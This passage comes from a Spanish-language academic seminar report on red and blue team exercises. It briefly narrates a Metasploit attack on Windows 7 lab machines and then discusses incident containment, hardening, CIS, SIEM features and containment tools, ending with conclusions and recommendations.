informatico , pues al hacer el meterpreter se tiene el dominio de la maquina en
general, pudiendo desde simplemente desactivar la maquina, sacar o extraer
informacion y hasta dafar el dispositivo comprometiendo la informacion contenida
y los equipos que con el conecten en red.

3.3Documente cada uno de los pasos que ejecutd y sus respectivas
evidencias para explotar la vulnerabilidad en las maquinas Windows 7.

Win7X86: Verificando el estado del firewall para la ejecucion de las pruebas
de pentesting.

3.4¢Qué herramienta utilizé para poder identificar los fallos de seguridad de
la “maquina Windows 7”? ;Qué Puerto abre la aplicacion especifica en el
anexo?

Se analiza la informacién recolectada en busqueda de amenazas, utilizaré la
herramienta Nessus. Fuente Propio del Autor 40 Instalacion herramienta Nessus.
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llustracion 43 Pruebas de pentesting

Fuente. Luis Ardila

En el siguiente paso se evidencian el detalle de puertos y servicios abiertosarrojados
por Nmap.

llustracion 4

4 Puertos y servicios abiertos arrojados por Nmap

G > FPMO © A 8|8 C

Abierta y a Distancia

Fuente. Luis Ardila
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Evidencia generada por el archivo winse20w0.exe el cual podra ejecutar y visualizar
una vez irrumpa en la maquina victima

llustracion 45 Evidencia generada por el archivo winse20w0.exe

Fuente. Luis Ardila
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4. CONTENCION DE ATAQUES INFORMATICOS

4.1¢Qué seria lo primero que indagaria y haria si llegara a encontrarse un
ataque en tiempo real? Especifique su respuesta con argumentos técnicos.

Considerar en que no se puede pensar que no nos van a atacar, sino, pensar que
hay una realidad que puede ser determinante en la operaciéon de una persona o
empresa, pues justo alli es donde esta el mayor riesgo. Quién sefala que la filosofia
es asumir que se esta bajo ataque constante y en caso de que se trate de una
institucion grande esto casi siempre sera cierto. Todo lo que es internet siempre
ser& vulnerable, asi como hay sitios inseguros en una ciudad, hay sitios inseguros
en la red, por tal razon las empresas deberia tener en cuenta con el documento
Modelo de Gestion de Incidentes de Seguridad de la Informacion y de ser afirmativa,
establecer estrategia que permitan tomar decisiones oportunamente para evitar la
propagacion del incidente, y asi disminuir los dafios a los recursos de TIC y la
pérdida de la confidencialidad, integridad y disponibilidad de la informacién y
seguido validar con el equipo Red Team, el estado de la conexion de red de cada
maquina, Luego segun los analisis realizados por el equipo Red Team se evidencian
varias fallas entre ellas que los firewalls y el antivirus estén desactivados. (infolaft.,
s.f.)

4.2 ¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team
gué medidas de hardenizacidén propondria para que el atague no se repita?

La Unica actividad del Red Team tiene que ser atacar y lograr sus objetivos. Esto
debe ocupar un 90% de su tiempo, el restante ha de dedicarlo a informar de
sus resultados y trabajar con el equipo defensor de la organizacion, el Blue
Team, para mostrarle las pruebas con el fin de que la entidad contratante pueda
actuar, en consecuencia tapar agujeros, imaginar como parar un ataque y seguir
trabajando en el sistema como cerrar puertos; en la medida de lo posibles cerrar
todos los puertos innecesarios para evitar que el atacante aproveche algun tipo
de vulnerabilidad. Verificar la necesidad de apertura de puertos existentes en la
infraestructura tecnolégica garantizando Unicamente los servicios necesarios
para la funcionalidad requerida en los equipos especificos. Utilizar un programa
para escaneo de vulnerabilidades seria buena idea implementar un programa
como OpenVas para el escaneo de posibles vulnerabilidades en el sistema, lo
bueno de OpenVas es que en el reporte incluye posibles soluciones que se
pueden aplicar, lo cual es bastante util, también podemos utilizar Nmap para
escaneo de puertos, Nmap es posible ejecutarlo con script que permiten
relacionar un puerto o aplicacion que corre a una posible vulnerabilidad, al
conocer la vulnerabilidad podemos tomar medidas para su control (Aguila, s.f.)
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4.3¢Describa con sus palabras las diferencias entre un equipo Blueteam y un

equipo de respuesta a incidentes informaticos?

Tabla 1 diferencias entre un equipo Blueteam y un equipo de respuesta a incidentes informaticos

Equipo Blue team

Equipo de respuesta a incidentes
informaticos

Seguridad defensiva
Trabaja en la mejora continua de la
seguridad

Andlisis forenses
Monitorizacion de Sistema

Realizar auditorias del DNS (servidor
de nombres de dominio) para prevenir
atagues de phishing, evitar problemas
de DNS caducados, evitar el tiempo de
inactividad por la eliminacion de
registros del DNS y prevenir/reducir los
ataques al DNS y a la web.

Defiende a las organizaciones con
vigilancia constante.

Rastrea incidentes de Ciberseguridad
Andlisis forense de las maquinas
afectadas, propuesta de soluciones y
establece medidas de deteccion para
futuros casos.

Verifica la efectividad de las medidas
de seguridad

Gestidn de incidentes.
Gestiona  incidencias
organizacion mayor
empresa, universidad red)
Incidencia: hecho sospechoso o real.
Vigilancia periddica ya que los
objetivos de este equipo son
especificos y en algunos casos ha
servido para que ataques no se lleven
a cabo.

Analiza las situaciones y responde a
las incidencias.

de una
(Gobierno,

Identifica los causantes del incidente y
las consecuencias que conlleva
mediante la preservacion y
documentacion de la evidencia.
Gestion de incidentes.

Endurecimiento de  software vy
estructura para reducir el nUmero de
incidencias a largo plazo.

Respuesta rapida y efectiva, lo cual le
permitira a la organizacién operar con
total normalidad.

Fuente. Luis Ardila

4.4¢Si dentro de un equipo Blue team le indican que debe trabajar con CIS
“Center For Internet Security” usted lo utilizaria para qué fin?

Debido a su amplia experiencia podemos aprender de ellos quizas sobre diferentes
tipos de ataques y desarrollar estrategias de proteccion, con el fin en enfocarse en
el conjunto mas efectivo y especifico de medidas técnicas disponibles para mejorar
la postura de defensa de una organizacion. Y por ultimo Seguir un enfoque
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comprobado de gestion de riesgos para la seguridad informética basado en la
eficacia del mundo real. (manageengine, s.f.)

4.5Explique y redacte las funciones y caracteristicas principales de lo que es
un SIEM.

SIEM permite tener control absoluto sobre la seguridad informatica de la empresa,
al tener informacion y administracion total sobre todos los eventos que suceden
segundo a segundo, resultando mas facil detectar tendencias y centrarse en
patrones fuera de lo comun.

Funciones:

SIEM centraliza los eventos y logs de los diferentes sistemas, permitiendo un
analisis en tiempo real de lo que estad sucediendo en la gestion de la
seguridad, dando mayor visibilidad a los sistemas de seguridad y a los
administradores.

Asi mismo, SIEM combina funciones de un sistema de Gestion de
Informacién de Seguridad el cual almacena eventos a largo plazo para el
analisis y comunicacion de los datos de seguridad, y un sistema de Gestion
de Eventos de Seguridad, que es el encargado de la revisién en tiempo real,
correlacion de eventos y notificacion y por lo dltimo SIEM proporcionan una
identificacion.

Caracteristica:

Arquitectura: Proporciona los requisitos minimos y es adaptable a cualquier
cambio administracion.

Registro De Datos: Capaz de recolectar todo lo que genere ya que trabaja
con gran cantidad de datos.

Monitoreo en tiempo real: En cuanto a deteccion de amenazas, respuesta
a incidentes, creacion de indicadores y priorizacion de alertas

Andlisis: Deteccion de eventos discretos, comportamientos anémalos,
coincidencias en listas blancas etc.

Monitoreo de datos y aplicaciones: Integracion de diferentes aplicaciones,
fuentes de datos e interfaz y asi lograr la extraccion, clasificacion o visibilidad
de la informacion.

Amenaza y contexto: Permite la validacion de eventos detectados para asi
evaluar los riesgos y priorizar los de mayor impacto.

Contexto de usuario y monitoreo: Dar a conocer las infracciones de
politicas, bloqueo y desbloqueos de cuentas, falta de uso de cuentas,
cambios en privilegios, cuentas promiscuas etc.

Administracién de incidentes: Permite notificar a usuarios especificos,
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configuracion de alertas y agregar acciones automatizadas Herramientas de
deteccion de amenazas: Crear o implementar aplicaciones de seguridad
(computerweekly, s.f.)

4.6 Defina por lo menos 3 herramientas de contencidon de ataques informaticos
“hardware o software”, recuerde que las herramientas de contenciéon son
diferentes a las herramientas de deteccion.

El equipo Blue team como la seguridad defensiva, aquel equipo que defiende a
las organizaciones de ataques de manera proactiva. (UNIR, 2020). Con base a
lo anterior podemos definirlo como un equipo de profesionales en ciberseguridad
con la capacidad de ayudar a prevenir e identificar riesgos a partir de las
detecciones tempranas de las vulnerabilidades existentes en una organizacion,
los cuales llevan el control del sistema a través de andlisis e identificacion de
comportamientos maliciosos en pro de mejorar los controles de seguridad de
una organizacion.

SIEM (Security Information and Event Management), solucién dedicada y capaz
de detectar, responder y neutralizar las amenazas informéticas. Su objetivo
principal es proporcionar una vision global de la seguridad de las tecnologias de
la informacion”. (Pachon, 2020). Esta herramienta también nos facilita a la
identificacibn de vulnerabilidades y gestion de controlar la accion del
delincuente.

La revista Owas define un Equipo de Respuesta a Incidentes (ERI) provee
servicios y da soporte para prevenir, gestionar y responder ante los incidentes
de Seguridad de la informacion” (OWAS, s.f.). Al igual que el equipo Blue Team,
también son equipos de profesionales con experiencias en el campo de
resolucion de problemas en el campo de seguridad, los cuales lo conforman de
acuerdo a la experiencia y profesion, como desarrolladores, auditores,
consultorias en equipo de seguridad, entre otros, de gran importancia para la
conformacion del equipo de respuestas a incidentes de seguridad, todos
trabajan en conjunto, cooperan para brindar una solucién a la organizacion, este
equipo desarrolla medidas de prevencion y reactivos que ayudan a contr olar y
minimizar cualquier tipo de dafio que se pueda presentar. (cisco, s.f.)

La contencién se basa en contener una determinada actividad para evitar su
propagacion, en este caso nos basados en campo informético, los cuales nos
ayudan a prevenir perdidas de datos, informacion y también dafios materiales,
las cuales se pueden llevar a cabo con estragais, hardware y Software que
ayuden la detencion de un incidente. Una de las herramientas identificadas a
nivel general en la contencion de ataques son; Backus de informacion, ISO o
imagenes de los servidores, una buena implementaciéon de los firewall, existen
herramientas automatizadas como los son Cisco FireSIGHT y Cisco
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FirePOWER10 que se encargan de la deteccion precoz y contencion de
amenazas en rede de organizaciones, Cisco FireSIGHT se encarga “escanea la
actividad de la red con sensores cuya inteligencia es actualizada
constantemente con las Ultimas alertas. Estos sensores buscan en los sistemas
corporativos cédigo malicioso o prohibido por las politicas de seguridad.
También monitorizan las conexiones de usuarios y dispositivos para detectar si
se conectan a dominios peligrosos, como podrian ser los de una botnet”
(Dacom.global, 2016). Cisco también tiene la plataforma denominada
“Contencién Rapida de Amenazas de Cisco” 11 el cual contiene una serie de
controles, mecanismos, herramientas que facilitan dicha operacién. También
existe la herramienta “Panda Security es una empresa especializada en la
creacion de productos de seguridad para endpoints que son parte del portfolio
de soluciones de seguridad IT de WatchGuard. Centrada inicialmente en la
creacion de software antivirus, la compafiia ha ampliado sus objetivos
expandiendo su linea de negocio hacia los servicios de ciberseguridad avanzada
con tecnologias para la prevencion del cibercrimen” (pandasecurity, s.f.)

45



CONCLUSIONES

Los equipos Red Team y Blue Team le aportan a la organizacion tranquilidad,
mejora continua en la seguridad, seguimiento constante con analisis de patrones y
comportamientos que pueden identificar posibles amenazas, emulacion de posibles
ataques que pueden ayudar a identificar la capacidad que tienen las organizaciones
para proteger sus activos criticos.

El proceso de penetracion cuenta con 4 etapas definidas donde paso a paso se
analiza un sistema de informacion en busca de vulnerabilidades y permite presentar
un informe concreto de los hallazgos y la explotacion realizada a esas
vulnerabilidades. Para explotar las vulnerabilidades se utilizé Metasploit, porque,
simplifica la deteccidn de redes, permite concentrarse en aspectos especificos en
las pruebas de penetracion y ademéas aumenta la eficacia de los escaneos de
vulnerabilidad. Hoy en dia las organizaciones se centran mas en detectar amenazas
y responder a las mismas que en revisar su capacidad de contener un ataque ya
sea por presupuesto, planes estratégicos, exceso de herramientas que se utilizan
en la organizacién, la falta de planes de respuesta etc., llevando a que las
probabilidades de experimentar un ataque sean altas.

Durante el desarrollo del informe se dan a conocer cada una de las herramientas
utilizadas y su funcionalidad. Al realizar este proceso nos permitié identificar las
debilidades, carencias de programas y las vulnerabilidades a aprovechar para
realizar el ataque y asi obtener informacién valiosa del objetivo, se utiliza Nmap y
Metasploit dentro de la maquina virtual que fue de gran ayuda para automatizar la
deteccion.

Al momento de seleccionar una herramienta de contencién siempre se debe tener
en cuenta multiples factores del sistema y lo mas importante la capacidad de
respuesta ante incidencias presentadas en tiempo real, en este momento es donde
realmente se evalla la capacidad tanto del profesional como de la herramienta
seleccionada.
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RECOMENDACIONES

Cabe resaltar con este seminario hemos llegado lo importante que nos deja en que
toda organizacién es necesario que se constituya o exista el area de seguridad
informatica, conformada por el personal idoneo, para llevar a cabo todas las tareas
que impliquen Unica y exclusivamente, el manejo de la seguridad del sistema
informatico.

Realizar una concientizacion al personal de sistemas de la importancia que tiene
mantener al interior de la empresa las maquinas actualizadas con sus respectivos
parches de seguridad si no se hace manualmente al menos mantener bien
configurados los equipos para que la actualizacion sea automéatica. En donde debe
Estar actualizado en el manejo de cada una de las herramientas disefiadas para la
deteccién de vulnerabilidades, explotacion y contencion de ataques.
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